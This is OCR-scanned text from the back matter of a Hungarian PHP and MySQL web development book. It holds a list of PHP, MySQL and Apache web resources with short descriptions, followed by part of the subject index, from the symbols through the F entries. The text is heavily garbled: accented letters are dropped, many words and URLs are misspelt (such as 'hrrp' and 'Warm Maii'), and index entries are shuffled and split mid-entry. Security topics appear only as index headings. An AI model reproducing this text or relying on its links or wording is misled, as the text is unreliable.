s a phpiRC forrsa. PHPMyAdmin.Net- http://www.phpmyadmin.net/-A MySQL-hez rt npszer, PHP alap webes fellet (front end) oldala. PHPBuilder.com-http://www.phpbuilder.com- PHP-oktatanyagok (rutorial) portlja. Az oldalon szinte mindenhez tallunk anyagot. Frumot is mkdtet, ahol feleehetjk krdseinket. DevShed.com- http://www.devshed.com-Portltpus oldal, ahol kivl oktatanyagokat tallunk a PHP-rl, a MySQL-rl, a Perlrl s ms fejlesztnyelvekrL PX-PHP Code Exchange- http://px.sklar.com- Kivl kiindulpont. Szmtalan mintakdot s hasznos fggvnyt tal lunk itt. The PHP Resource- http://www.php-resource.de-Oktatanyagok, cikkek s kdok kivl forrsa. Az egyeclen.,probl ma" az oldallal, hogy nmerl rdott. A mintakdokat mindazonltal nmettuds nlkl is meg fogjuk rteni. WeberDev.com-http:/ /www.WeberDev.com- A korbban Berber's PHP sample page (Berber PHP mintaoldala) nven ismert oldal kintte magt, immr oktatanyagokat s mintakdokat is szp szmmal tartalmaz. A PHP s a MySQL felhasz nlit clozza, kiemelten fogWkozik a biztonsggal s az adatbzisokkal. HotScripts.com-http://www.hocscripts.com- Kategrikba rendezett kdok kivl gyjtemnye. Az oldal klnbz nyelven (PHP, ASP.NET s Perl) rt kdokat tartalmaz. A gyakran frisstett oldalon nagyszer PHP kdokat cal.lunk. Ne hagyjuk ki, ha kdokat keresnk!

634

35. fejezet

PHP Base Library- http://phplib.sourceforge.net- Nagylptk PHP projektek fejleszti lral ltogatorr oldal. Szm talan eszkzt knl a munkamenet-kezelsnek a knyvben ltottl eltr megkzeltshez, sablonok hasznlathoz, illetve az adatbzis-absztrakcihoz. PHP Center- hrrp://www.php-center.de- Egy msik nmet portl, ahol egyebek kzrr oktatanyagokat, kdokat, tippe ket, trkkket s reklmokat tallunk. PHP Homepage- http://www.php-homepage.de- Mg egy nmet PHP oldal kdokkal, cikkekkel, hrekkel stb. Gyors referencia-tmutatval is rendelkezik. PHPindex.com- http://www.phpindex.com- Ignyes francia PHP portl tmntelen, PHP-hez kapcsold tartalommal. Az oldalon egyebek kzrr hreket, gyaktan ismtelt krdseket, cikkeket, llsajnlatokat tallunk. WebMonkey.com- http://www.webmonkey.com - Rengeteg webes forrssal, valdi projektekre pl oktatanyagokkal, mintakdokkal rendelkez oldal. Oldaltervezssel, programozssal, back end alkalmazs fejlesztsvel, multimdis tmkkal stb. egyarnt foglalkozik. PHP Club- http://www.phpclub.net- Kezd PHP-felhasznlknak szmtalan informcit knl oldal. Hreket, knyv ajnlsokat, mintakdokat, frumokat, gyaktan ismtelt krdseket s kezdknek kszlt oktatanyaget tallunk irr. PHP Classes Repository- hrrp://phpclasses.org- PHP-ban rt, ingyenesen hasznlhat osztlyok terjesztst clz oldal. Ha fejlesztnk valamit, vagy kdunk osztlyokbl ll, akkor semmikppen sem szabad kihagyni ezt az oldalt! Kivl keresvel rendelkezik, gy gyorsan megtallhatjuk a neknk kell dolgokat. PHP Resource Index- http://php.resourceindex.com- Kdok, osztlyok s dokumentcik portloldala. A legvonzbb az oldalban, hogy mindent szpen kategrikba rendeztek, amivel rengeteg idt takartharunk meg. PHP Developer- http:/ /www.phpdeveloper.org- PHP-val kapcsolatos hreket, cikkeket s oktatanyagokat knl, jabb portl. Evil Walrus- http://www.evilwalrus.com- PHP kdokat tartalmaz, ignyes kinzet portl. SourceForge- http://sourceforge.net- Nylt forrskd forrsok kiterjedt gyjtemnye. A SourceForge nem csupn a hasznos kdok felkutatsban segt, hanem nylt forrskd fejlesztk ltal hasznlhat CVS-hez, levelezlistkhoz s g pekhez is hozzjuthatunk. Codewalkers- hrrp:/ l codewalkers.com/ - Cikkeket, knyvajnlkat s oktatanyagokat tartalmaz, illetve nagyon j PHP-versenyt szervez oldal. j tudsunkkal vonz ajndkokat nyerhetnk a versenyben, amit kthetente hirdernek meg az oldalon. PHP Developer's Network Unilied Forums- http:/ /forums.devnetwork.net/index.php-PHP-hoz kapcsold tmk fruma. PHP Kitchen- http://www.phpkitchen.com/- Cikkek, hrek s tmogats a PHP-hoz. Postnuke- hrrp://www.posmuke.com/- Gyakran hasznlt PHP-s tartalomkezel rendszer. PHP Application Tools- http://www.php-tools.de/- Hasznos PHP osztlyok gyjtemnye. Codango- http://www.codango.com/php/- PHP-s webes alkalmazsok, knyvtrak, kdok, hoszting, oktatanyagok stb. rtkes forrsa.

MySQLlel s SQLlel foglalkoz forrsok


A MySQL oldal- http://www.mysql.com- A hivatalos MySQL weboldal. Kivl dokumentcit, tmogatst s hasznos informcikat knl. MySQL-felhasznlknak ktelez, klnskppen a fejlesztknek szl rsze s a levelezlista archvuma. SQL Course- hrrp://sqlcourse.com- Jl rthet utastsokat hasznl, kezd felhasznlknak sznt SQL-oktatanyagot tartalmaz oldal. Online SQL rtelmez segtsgvel gyakorlatban is kiprblhatjuk a tanultakat. A halad vltozatot a hrrp://
www

.sqlcourse2.com oldalon rjk el.

SearchDatabase.com- http://searchdatabase.techtarget.com/- Ignyes portl rengeteg hasznos informcival az adatb zisokrL Kivl oktatanyagokat, tancsokat, gyakran ismtelt krdseket s tanulmnyokat tartalmaz. Ne hagyjuk ki!

Forrsok az Apacherl
Apache Sofrware- http://www.apache.org- A kiindulpont, ha forrsokat vagy binris fjlokat kvnunk letlteni az Apache web:Zerverhez. Az oldalon online dokumentcit tallunk.

Apache Week- http://www.apacheweek.com- Hetente megjelen online magazin, amely Apache szervert furratk vagy Apache szolgltatsokat hasznlk szmra tartalmaz fontos informcikat. Apache Today- hrrp://www.apachetoday.com- Naponta frissl hr- s informciforrs az Apache-rl. Csak regisztrlt felhasznlk tehetnek fel krdseket.

Webes forrsok

635

Magyar nyelv webes forrsok


A teljessg ignye nlkl: PHP weblabor.hu (magyar nyelv webes fejleszti portl: php, mysql,javascript, ess...) php.lap.hu (innen rdemes elindulni) prog.hu (php,Java,JavaScript, C++, Pascal, Delphi....) Apache s MySQL linux.hu (rendszergazdknak) hup.hu (rendszergazdknak) fsf.hu (Magyartssal, a szabad szofrverek elterjesztsvel foglalkozik)

Webfejleszts
Philip and Alex's Guide to Web Publishing- http://philip.greenspun.com/panda/- Szrakoztat, knnyed hangvtel t mutat a szaftverfejleszts webes fejlesztsekre alkalmazhat rszeihez. Egyike azon kevs knyveknek, amelyeknek a trsszer zje egy k utya.

Trgymutat
Szimblumok
$type paramter 579 ===(azonos mveletijel) 28 adatbazis_letrehozasa.php f (Warm Maii jl alkalmazs) 453 adatbazis_letrehozasa.sql fjl 520 MLM alkalmazs 480 webes frum 519 adatbzisok 141 adatok beszrsa 165 betltse fjlokbl 209 visszakeresse 167 belltsa (online hrlevelek) 480 biztonsg 198 jelszavak 198 webes krdsek 199 biztonsgi mentse 206 Book-O-Rama ltrehozsa 165 tblk SQL kd 166 ja DDL (Data Definition Language) 165 DML (Data Manipulation Language) rekordok trlse 179 relcis adatbzisok 143 replikci 206 smk 143 SQL (Strucrured Query Language) 165 szerverek biztonsg 259 kapcsolds -hez 260 tblk 141 rtkek 142 oszlopok 14 2 sorok 142 trlse 179 adatbzis-optimalizls 205 adat_ellenorzo_fuggvenyek.php f jl MLM alkalmazs 480 PHPBookmark alkalmazs 393 Warm Maii alkalmazs 453 webes frum 519 adat_kikereses.php fjl 308 adatok tpusai vltozk 20 adott feltteleknek megfelel adatok visszakeresse 168 beszrsa adatbzisokba 165 betltse fjlokbl 209 beviteli ellenrzse 384 bizalmas adatok hitelkrtyaadatok trolsa 283 trolsa 282 trolsa 39 tpusai TEXT tpusok 162 titkostsa 282 visszakeresse adatbzisokbl 167 adatvdelmi nyilatkozat zleti weboldalak 225 addslashes() fggvny 78, 184, 282 Add to Cart hivatkozs 570 admin_felhasznalo_ellenorzese() fggvny

& (bitmvelerijel) 26 < (bitmveletijel) 26 <


-- (cskkents mvelerijel) 24 ==(egyenl mvelerijel) 28 ==(egyenl sszehasonlt mvelerijel) 25 =(rtkad mvelerijel) 23
?:

(hromoperandus mvelerijel) 27

@ (hibakezel mveletijel) 27 & (hivatkozs mveletijel) 25


. (karakterlnc-sszefz mveletijel) 19 - (kivons mveleti jel) 23 ! (logikai mveletijel) 26 && (logikai mveletijel) 26 %(maradkkpzs mveletijel) 23 !==(nem azonos mveletijel) 28 !=(nem egyenl mveletijel) 28 ++(nvels mveletijel) 24 + (sszeads mveletijel) 23 !=(sszehasonlt mveletijel) 25 !==(sszehasonlt mveletijel) 25 <(sszehasonlt mveletijel) 25 <=(sszehasonlt mveletijel) 25 ==(sszehasonlt mveletijel) 25 ===(sszehasonlt mveletijel) 25 -= (sszetett rtkad mveletijel) 24 . =(sszetett rtkad mvelerijel) 24 l=(sszetett rtkad mveletijel) 24 %=(sszetett rtkad mveletijel) 24 +=(sszetett rtkad mveletijel) 24 l (oszts mveletijel) 23 +(uni mveletijel) 28 , (vessz mvelerijel) 27

165 elnyei 141


futside hibk 382 j helyrelltsa 206 informcigyjts 199 jelszavak titkostsa 198 jogosultsgi rendszer 193 columns_priv tbla 197 user tbla 194 kapcsolatok 143 egy a sokhoz tpus 143 egy az egyhez tpus 143 sok a sokhoz tpus 143 kulcsok elsdleges kulcsok 142 idegen kulcsok 143 ltrehozsa MySQL-lel 151 MySQL 193 biztonsgi mentse 242 db tbla 195 eredmenyek.php kd 182 host tbla 196 krs ellenrzse 197 user tbla 194 webes adatbzis architektr 181 ja optimalizlsa 205 indexek hasznlata 205 jogosultsgok 205 tblk 205 tervezs 205

A,
about.php fjl (Tahuayo alkalmazs) 571 abszolt elrsi tvonalak 41 absztrakt osztlyok 126 ACID-kompatibilis tranzakcik 210 Acrobat weboldal 543 adattvitel adatbzis replikci 206 adatbazis_fuggvenyek.php fjl MLM alkalmazs 480 PHPBookmark alkalmazs 393 Warm Maii alkalmazs 453 webes frum 519

486
adminisztrtori funkcik 444 admin.php f (online kosr alkalmazs) jl

422
Adobe PostScript 541 weboldal 543

638

Trgymutat

Advanced Maryland Autamated Nerwork Disk Archiver (AMANDA) 242 ajnls knyvjelzk 392 megvalstsa 416,418 ajanlas.php fjl (PHPBookmark alkalmazs)

REST /XML 585,591 Web Services 563 Web Services fellerek 567 XML rtelmezse 568 AmazonResultSet osztly 571 a megnyitsi md 41 a+ megnyitsi md 41 Analog weboldal 223 anomlik elkerlse (webes adatbzisok) 145 Apache erforrsok 634 futtatsa 626 HTTP Szerver 258 konfigurcik PHP teleptsek 631 paramterek, MaxClients 185 Sofrware weboldala 634 teleptse binris fjlok 622 forrs teleptse 622 Today weboldala 635 weboldala 622 webszerver alapszint hitelests (HTTP) 271 htpasswd program 274 mod_aurh modul 273 mod_aurh_mysql modul 275 Week weboldala 634 Windows 629 ramkimaradsok 243 architektra webes adarbzisok 147 ARCHIVE tblk 210 archvumok BUGTRAQ 297 argumentumok 16, 17 array_count_values() fggvny 70 array() nyelvi szerkezet 56 array_push() fggvny 496 array_reverse() fggvny 66 array_walk() fggvny 69 ar _szamolasa() fggvny 436 ASC kulcssz 173 ASP sryle (PHP cmkk) 15 Associate ID (Amazon partnerazonosr)

ltrehozsa 109 rvireli mdok FTP 317 auclirls 241 auto_append_file (php.ini fjl) 95 aurocommit md 210 auroload()fggvny 127 automatikus elllrs kpek 336 auro_prepend_file (php.ini fjl) 95 azonosrk 20 eredmnyazonosrk 186 kpazonosrk rrlse 335 azonos mveleri jel 59

393
Ajax 599 ajaxSzerver Ido.html 606 alairas.png fjl (oklevelek projekt) 544 alapszint hitelesrs (HTTP) 270 Apache .htaccess fjlokkal 272 PHP-ben 271 alkalmazsok Bob autalkatrszek 12, 13, 135 Book-O-Rama alkalmazs adarbzis keressi oldala 182 sma 149 dokumentci 375 intelligens zenerkld rlap ltrehozsa 73 kezdhet kd rsa 371 darabokra bonts 373 elnevezsi szoksok 371 fggvnyknyvrrak 374 knyvtrstruktrk 373 megjegyzsek hasznlata 372 programozsi szablyok 371 tagolsa 373 kd tesztelse 3 77 kd tbbszri felhasznlsa 370 megvalstsa 370 mkdsi logika 376 nemzetkziesrse 5 optimalizlsa 376 PHPBookmark fjlok 393 prototpusok 375 rtegek 148 szaftverfejleszts 369 tartalom 376 tervezse 370 verzikvers 374 alkalmazsrtegbeli protokollok 280 llandk (konstansok) 21 hibajelents 387 AL L jogosultsg 154 alralanos_felhasznalo_ellenorzese() fggvny 486 ALTER jogosultsg 153 ALTER TABLE utasts 177 AMANDA (Advanced Maryland Autamated Nerwork Disk Archiver) 242 Amazon Associate ID (partnerazonost) 567 bngszsi csompont 569 fejleszti token 567 fizers 597 gyorsttrazs 568 online kosr fejlesztse 567 PHP SOAP knyvtrak 568

B
basename() fggvny 301, 303 befoglal kererek koorclinrk 340 tmb tartalma 340 beillesztett_fuggvenyek.php fjl ML M alkalmazs 480 Warm Maii alkalmazs 453 webes frum 519 bejelentkezs FTP szerverek 316 MySQL 150 naplzsa 241 nvrelen bejelentkezs (FTP) 315 Warm Maii alkalmazs (e-mail kliens)

460
bejelentkezes_ellenorzese() fggvny 486 bejelentkezes() fggvny 403,491 bejelentkezes.php fjl online kosr alkalmazs 422 PHPBookmark alkalmazs 393 beszlgetsfonalak (frum) sszecsuksa 524 beszrsi anomlik elkerlse (webes adatbzisok) 145 berlts adatok berltse fjlokbl 209 bvtmnyek 363 bettpusok FreeType knyvtr letltse 332 gombszveg 336 kpek ltrehozsa 336 lefele nyl betszrak 340 PDF olvask 555 PostScript Type l bettpusok letltse

567
asszociatv tmbk. L sd mg tmbk 57 bejrsa ciklusokkal 58 each() fggvny 58 ltrehozsa 57 list() fggvny 58 tartalmnak elrse 57 ralakrs osztlyok karakterlncokk 129 tmbk skalris vltozkk 70 trendezs tmbk 64 shuffie() fggvny 65 array _reverse() fggvny 66 attribrumok 109 fellirsa 114

332
TrueType 336 beviteli adatok ellenrzse 184, 384 szrse 184 binris fjlok teleptse 622 MySQL

622

bind_param() metdus 190 bitmveleti jelek 26 bizalmas adatok trolsa 282

Trgymutat

639

biztonsg 245 adatbzisok 198, 260 hitelesrs 259 jelszavak 198 kapcsolds szerverekhez 260 opercis rendszer 198 szerverek 260 webes krdsek 199 bizalmas adarokhoz val hozzfrs korltozsa 246 Data Encryption Standard (DES) 239 Denial of Service tmads 247 DMZ 261 fjlok feltltsek 295, 298 fjlrendszer 254 felhasznli bevitel szrse 249 felkszls DoS tmadsokra 262 felgyelet 246 fizikai biztonsg 263 GPG (Gnu Privacy Guard) 283 hatsa a hasznlhatsgra 245 hitelesrs 232 egyni hitelests ltrehozsa 276 felhasznJk azonostsa 265 hozzfrs-szablyozs megvalsrsa

auditls 241 biztonsgi hzirendek ltrehozsa 236 biztonsgos webszerverek 240 crackerek 227 digitlis alrsok 239 digitlis tanstvnyok 240 fenyegetsek 232 fizikai biztonsg 242 hash fggvny 240 hitelests 237 jelszavak 237 naplzs 241 tanstvny-alrsi krelem (CSR) 241 titkosts 238 tzfalak 242 biztonsgi fenyegetsek crackerek 248 elgededen alkalmazottak 248 fertztt gpek 248 hardvertolvajok 248 zleti weboldalak 232 adatmdosts 234 adarveszts 233 bizalmas adatok kitettsge 232 DDoS (Distributed Denial of Service) tmads 234 DoS (Denial of Service) rmads 234 letagads 235 szaftverhibk 235 biztonsgi ments 242 adatbzisok 206 AMANDA (Advanced Maryland Autamated Network Disk ArchiverJ 242 FTP fggvnyek 313 bejelentkezsek 316 frissts idpontjnak ellenrzse 316 kapcsolatok bontsa 318 letltsek 317 tvoli kapcsolatok 315 MySQL adatbzisok 242 biztonsgos trols 282 biztonsgos tranzakcik 277 biztonsgos trols 282 felhasznli bevitel szrse 282 felhasznJk szmtgpei 278 Internet 278 rendszerek 279 Secure Sockets Layer (SSL) 280 adatok kldse 281 kzfogs (handshaking) 280 protokollvermek 280 tmrts 281 webes bngszk 278 biztonsgos webszerverek 240 blokkok 32 try (kivtelkezels) 131 b megnyirsi md 41 Bob autalkatrszek alkalmazs 12, 13 kivtelkezels 135 bngszsi csompont (Amazon) 569 bngszk

biztonsgos rranzakcik 278 hitelests 237 knyvtrak 298 bookdisplayfunctions.php fjl (Tahuayo alkalmazs) 571 Book-O-Rama alkalmazs adatbzis keressi oldala 182 ltrehozsa 165 sma 149 tblk SQL kdja 166 Boolean adattpus (vltozk) 20 bottom.php fjl (Tahuayo alkalmazs) 571 bvtmnyek betltse 363 break utasts 38 brochureware honlapok 221 hibi gyenge minsg megjelens 222 informci hinya 222 ltogatottsg mrse 223 megkeressek megvlaszolsa 222 tartalom frisstse 223 jellemz hinyossgaik 223 BUGTRAQ archvumok 297

266
jelszavak 237 jelszavak trolsa 267 jelszavak titkostsa 269 kivonatos hitelests 271 mod_auth_mysql modul 275 tbb oldal vdelme 270 weboldalak 276 jelszavak 245 katasztrfa-elhrrsi terv 263 kimenet rtkeinek szrse vdkarakterekkel 252 kdjaink szervezse 253 PGP (Pretty Good Privacy) 283 .php fjlokhoz val hozzfrs korltozsa

C,Cs
cached() fggvny 593 cache() fggvny 593 Cascading Sryle Sheets (CSS) 376 CA (tanst szervezet) 240 category List tmb 577 CGI rtelmez 621 checkdate() fggvny 251 Checkout hivatkozs 570 chgrp() fggvny 304 chmod() fggvny 304 chown() fggvny 304 ciklusok 35 break utasts 38 do...while ciklusok 37 for ciklusok 37 foreach ciklusok 37 iterci 127 numerikusan indexelt tmbk elrse 57 asszociatv tmbk 58 while ciklusok 36 cmkk (rag) PHP cmkk (tag) 14 ASP stlus 15 rvid stlus 14 SCRIPT stlus 14 XML stlus 14 require() utasts 91 zr/nyit (XML) 565 cm szerinti paramtertads 102 closedir() fggvny 299 Codewalkers weboldal

254
rosszindulat kd befecskendezse 247 Secure Sockets Layer (SSL) 233 SQL injecrion tmadsok 252 tansr szervezetek (CA) 240 trhelyszolgltats 258 TCP/IP hlzatok 233 tesztels hibk utn kutarva 255 titkosts 283 ttanzakcik 277 biztonsgos trols 282 felhasznli bevitel szrse 282 felhasznJk szmtgpei 278 Internet 278 rendszerek 279 Secure Sockets Layer (SSL) 280 webes bngszk 278 tzfalak 261 zleti weboldalak 231 adatok biztonsgi mentse 242 a trolt informci fonrossga 231

634

columns_priv tbla 194, 196 Concurrent Versions System (CVS) 374 constants.php fjl Tahuayo alkalmazs 571

640

Trgymutat

continue kezelk 215 continue utastsok 38 crackerek 227, 248 CREATE jogosultsg 153 crypt() fggvny 269 mkdse PHP 5.3-ban 5 csak_tagoknak.php kd (hitelests) 358 csatolt llomnyok (e-mail) 478 csillag_rajzolasa() fggvny 562 cskkents mveleti jelek 24 csompontok bngszsi csompont (Amazon) 569 webes frum fastruktrja 518 gyermek csompontok 518 gykr csompontok 518 levl csompontok 518 szl csompontok 518 csomopont osztly 518 csomopont_osztaly.php fjl (webes frum) 519 csoportosthatsg mveleti jelek 29 CSR (Certificate Signing Request) 241 CSS (Cascading Style Sheets) 376 CSS (Cascading Style Sheets) osztlyok 601

DESC kulcssz 173 DESCRIBE parancs 159 describe user; utasts 194 DESCRIBE utasts 201 DES (Data Encryption Standard) 239 destruktorok 110 Details hivatkozs 570 Devshed weboldal diagram egyed-kapcsolat 143 die() nyelvi szerkezet 361 digitlis alrsok 239 digitlis tansitvnyok 240 digitlis termkek rtkestse (zleti weboldalak) 226 dinamikus tartalom 16 date() fggvny 16 fggvnyek 16 direktvk furtatsi 38 magic_quotes_gpc 282 magic_quotes_runtime 282 php.ini fjl szerkesztse 364 dirname() fggvny 301, 303 disk_free_space($path) fggvny 301 Distributed Denial of Service (DDoS) 234 DML (Data Manipulatien Language) 165 DMZ (demilitarizlt zna) 248 dokumentci GD weboldala 348 webes alkalmazsok projektjei 375 dokumenrumok PDF oklevelek projekt 550 RTF 548 okl.evelek projekt 544 tovbbfejlesztsi lehetsgek 562 DoS (Denial of Service) tmads 234, 247 double adartpus (vltozk) 20 do...while ciklusok 37 DROP DATABASE utasts 179 DROP jogosultsg 153 DTD (Document Type Definition) 565 dzskerkarakter 633

rs 40 megnyitsa 40 fopen() fggvny 41 megnyitsi mdok 40 egyszer szveg (titkosts) 238 e-kereskedelmi weboldalak 219, 221 adatvdelmi nyilatkozat 225 biztonsg 231 adatok biztonsgi mentse 242 a ttolt informci fontossga 231 auditls 241 biztonsgi hzirendek ltrehozsa 236 biztonsgos webszerverek 240 digitlis alrsok 239 digitlis tanstvnyok 240 fenyegetsek 232 fizikai biztonsg 242 hash fggvny 240 hitelests 237 jelszavak 237 naplzs 241 tanst szervezetek (CA) 240 tanstvny-alrsi krelem (CSR) 241 titkosts 238 tzfalak 242 hitelests 232 kockzatai 227 crackerek 227 hardverhiba 228 jogi szablyozs s adrendszer 229 kvnt zleti eredmny elmaradsa 228 rendszer-kapacitsbeli korltok 229 szoftverhibk 228 szolgltari hibk 228 verseny 228 kltsgcskkenrs 227 online katalgnsok 221 jellemz hinyossgaik 223 SSL (Secure Sockets Layer) 225 stratgik kvlasztsa 229 szolgltatsok s digitlis termkek rtkestse 226 termkek vagy szolgltatsok megrendelse 223 tpusai 221 tbbletrtk hozzadsa termkekhez vagy szolgltatsokhoz 226 visszatrtsi szablyzat 225 elgedetlen alkalmazottak 248 elemek 56 gykrelemek (XML) 566 elrs rszsztringek elrse substrO fggvnnyel 80 elrsi tvonalak abszolt 41 fjlok 301 relatv 41 elfelejtett_jelszo.php fjl (PHPBookmark alkalmazs) 393 elfelejtett_urlap.php fjl (PHPBookmark alkalmazs) 393

csv tblk 210


CVS ( Concurrent Versions System) 374

D
Data Definition Language (DDL) 165 Data Encryption Standard (DES) 239 Data Manipulaeion Language (DML) 165 DATE_FORMAT() fggvny 326 date() fggvny 16, 321 formrumkdok 321 date_sub() fggvny 328 drum s id MySQL-ben DATE_FORMAT() fggvny 326 szmolsok 328 naptrak 329 PHP-ben 321 date() fggvny 321 floor() fggvny 327 mikroszekundumok 329 db tbla 194 DDL (Data Delinition Language) 165 DDoS (Distributed Denial of Service) 234, 247 declare kezelk 215 declare vezrlsi szerkezet 38 decoct() fggvny 303 deklarls fggvnyek 98 trolt eljrsok 212 trolt fggvnyek 213 DELETE jogosultsg 153 demilitarizlt zna (DMZ) 248 konfigurlsa 261 Denial of Service (DoS) tmads 234, 247

(%)

197

E,

each() fggvny 58 egyed-kapcsolat diagram 143 egyni hitelests ltrehozsa 276 egyenl mveleti jel 25, 59 egyenlsgjel (
=

rtkad mveleti jel 18 egyensszekapcsolsok 170, 172 egyests karakterlncok implode() fggvny 79 join() fggvny 79 egyoperandus mveleti jelek 23 egyszeru_abra.php fjl 333 egyszer fjlok 39 beolvassa 40

Trgymutat

641

ellenrzs kapcsolatok 197 vltozllapot 31 elnevezs fggvnyek 98 szoksok 371 elfordtott utastsok 189 elzetes cskkents mveleti jel 24 elzetes nvels mveleti jel 24 else utastsok 32 elseif utastsok 33 lsimts szveg 334 elsbbsgi sorrend mveleti jelek 29 elsdleges kulcsok (adatbzisok) 142 elvont osztlyok 126 e-mail csatolt llomnyok 478 kldse 307 olvassa 307 titkostsa 283 titkostsa GPG (Gnu Privacy Guard) 283 PGP (Pretry Good Privacy) 283 Warm Maii alkalmazs fjlok 453 fellet 452 IMAP fggvnyknyvtr 451 megoldsok 451 email_lekerese() fggvny 492 empry() fggvny 31 entiry (HTML) 252 ENUM tpus 163 EPA weboldal 243 eredmnyazonosrk lekrdezs eredmnynek visszakeresse (webes adatbzisok) 186 eredmenyek_megjelenitese.php fjl 343,346 eredmenyek.php kd 182 ereg_replace() fggvny 88 eregi_replace() fggvny 88 erforrsok adattpusok 20 rtkad mveleti jelek 20,23 cskkents mveleti jelek 24 egyenlsgjel (
=

rtkels karakterlncok 361 ertekeles.php fjl (oklevelek projekt) 544 rtk szerinti paramtertads 102 rtkvisszaads rtkad mveleti jel 24 ervenyes_felhasznalo_ellenorzes() fggvny

megnyitsi mdok 40 MLM 480 naplzsa 241 olvassa/rsa 382 online kosr alkalmazs 422 perszanalizlt dokumentumok 544 PHPBookmark alkalmazs 393 php.ini fjl auto_append_file 95 auto_prepend_file 95 drektvk szerkesztse 364

403
escapeshellcmd() fggvny 282,256,306

S mveleti jel 26 eval() fggvny 361


Evil Walrus weboldal Exception osztly 132 kiterjesztse 133 metdusok 132 exit kezelk 215 nyelvi szerkezecek 361 EXPLAIN utasts 201 sszekapcsols tpusai 203 oszloprtkek 204 explode() fggvny 79, 312 extract_cipusa paramter 71 Extreme Programming weboldal 378

634

progex.php 305 T ahuayo alkalmazs 571 trlse 304 tkrzse FTP fggvnyekkel 313 uj_konyvek.rxc 209 valtozok_kiiracasa.php 385 Warm Maii alkalmazs (e-mail kliens)

453
webes frum 519 fajlreszlecek.php fjl 302 fanezet_megjelenicese() fggvny 525 fastruhra (webes frum) 518 fclose() fggvny 299 fdf_creace() fggvny 551 fdf_set_file() fggvny 551 fdf_set_value() fggvny 551 Fedex weboldal 226 fehrkz karakterek 15 fejleszti token (Amazon) 567 fejlesztkrnyezetek 375 feldolgozas.php fjl (online kosr alkalmazs) 422 felesleges alkalmazsok kikapcsolsa 262 felhasznl ltal deklarlt vltozk 20 felhasznl ltal meghatrozott kivtelek

F
fjlkezels kivtelek 135 fjlnvkiterjesztsek require() utasts 91 fjlok 39 adat_kikereses.php 308 adatok betltse fjlokbl 209 llapotfggvnyek eredmnyei 305 thelyezse 304 beolvassa 40,302 biztonsgi mentse 313 egyszeru_abra.php 333 elrsi tvonalak, knyvtrak 30 l fjlkezels 135 lajlreszletek.php 302 fjltulajdonsgok megvltoztatsa 304 feleltse 293 biztonsg 295,298 FTP (File Transfer Protocol) 318 hibakeress 298 HTML 293 megjelenitse 297 online hrlevelek 478 PHP kd rsa 295 gomb_cervezese.hcml 336 hcaccess fjlok (Apache webszerver) 272 httpd.conf 626 rsa 40 rsi jogosultsgok 282 konyvcar_tallozas.php 298 ltrehozsa 304 megnyitsa 40 fopen() fggvny 41 megnyirsi mdok 40

133,135
felhasznl ltal meghatrozott rendezsek tbbdmenzis tmbk 63 felhasznli bevitel szrse 282 felhasznli felletek zleti weboldalak 225 felhasznli fikok belltsa 462 kivlasztsa 467 crlse 464 felhasznaloi_hicelesices_fuggvenyek.php fjl MLM alkalmazs 480 online kosr alkalmazs 423 PHPBookmark alkalmazs 393 Warm Maii alkalmazs 453 felhasznaloi_hicelesites_fuggvenyek.php knyvcr hicelesicett_felhasznalo_ellenorzese() fggvny 461 felhasznli jogosultsgok adatbzis biztonsga 198 felhasznaloi_menu_megjelenitese() fggvny

) 18

rtkek visszaadsa 24 hivatkozs mveleti jel 25 nvels mveleti jelek 24 sszetett rtkad mveleti jelek 24 rtkek alaprtelmezett adatbzis-optimalizls 205 hozzrendelse vltozkhoz 20 oszlopok EXPLAIN utasts 204 tblk 142 tmbelemek 56 visszaadsa rtkad mveleti jel 24 max() fggvny 103

403
felhasznli nevek 392 felhasznlk biztonsgos cranzakcik 278

642

Trgymutat

hitelests 265 alapszint hitelests 270 felhasznJk azonostsa 265 hozzfrs-szablyozs megvalstsa 266 jelszavak trolsa 267 jelszavak titkostsa 269 kivonatos hitelests 271 mod_auth_mysql modul 275 tbb oldal vdelme 270 weboldalak 276 jogosultsgok 151 globlis jogosultsgok 152 GRANT parancs 151 legkisebb jogosultsg elve 151 tipusai 152 ltrehozsa MySQL-ben 151 MySQL belltsa 151 rendszergazdai felhasznli jogosultsgok 153 feliratkozas() fggvny 499 felkszls DoS/DDoS tmadsokra 262 feloszts karakterlncok explode() fggvny 79 subsrr() fggvny 80 feltrelek adon feltteleknek megfelel adatok visszakeresse 168 felrteles urasrsok 31 else urasrsok 32 elseif utastsok 33 if utasrsok 32 kdblokkok 32 kd tagolsa 32 sszehasonltsa 34 switch utastsok 33 felrlrs fjlok 293 biztonsg 295, 298 hibakeress 298 HTML 294 HTML rlapok 293 megjelentse 297 PHP kd rsa 295 FTP (File Transfer Protocol) 318 feltolres.php fjlok (MLM alkalmazs) 480 feltrt szerverek 248 felgyelet biztonsg 246 fellerek Warm Mail alkalmazs (e-mail kliens) 452 Web Services (Amazon) 567 fellrs 114 ferchRow() metdus 192 fileatime() fggvny 303 file_exists() fggvny 50 filegroup() fggvny 302, 303 fileinfo kiterjeszts 5 FILE jogosultsg 198

filemtime() fggvny 303 fileowner() fggvny 302, 303 fileperms() fggvny 303 filesize() fggvny 303 filetype() fggvny 303 final kulcssz 115 findstr.exe 256 fiok_beallitas_megjelenitese() fggvny 464 fiok_lista_lekerese() fggvny 466 fiokok_lekerese() fggvny 463 fiokok_szama() fggvny 466 fiok_tarolasa() fggvny 489 fiok_torlese() fggvny 465 fiok_valaszro_megjelenitese() fggvny 466 fizets rendszerek 420 fizikai biztonsg 242, 263 float adattipus (vltozk) 20 f megnyitsi md 41 fkuszcsoportos beszlgetsek 223 folyamarbrk online hrlevelek 478 folytats jel (MySQL) 150 fopen() fggvny 40, 299 for ciklusok 37 fordton idzjelek 305 foreach ciklusok 37 formrumok GIF (Graphics Interchange Formar) 332 JPEG (Joint Photographic Experts Group) 332 kpek 332 formrurnkdok dare() fggvny 321 PDF 542 PNG (Portable Network Graphics) 332 PostScript 541 RTF 541 WBMP (Wireless B itmap) 332 formzs fehrkz katakterek levgsa 75 HTML formzs 75 karakterlncok 75 kis- s nagybets rsmd megvltoztatsa 77 konverzis specifikci 76 ltrim() fggvny 75 megjelentse 76 megjelentshez 75 nl2br() fggvny 75 rtrim() fggvny 75 trolshoz 78 trim() fggvny 75 formazas() fggvny 497 forrskd sznkiemelse 364 forrs teleptse 622 frum 517 csomopont osztly 518 fjlok 519 fastruktra 518

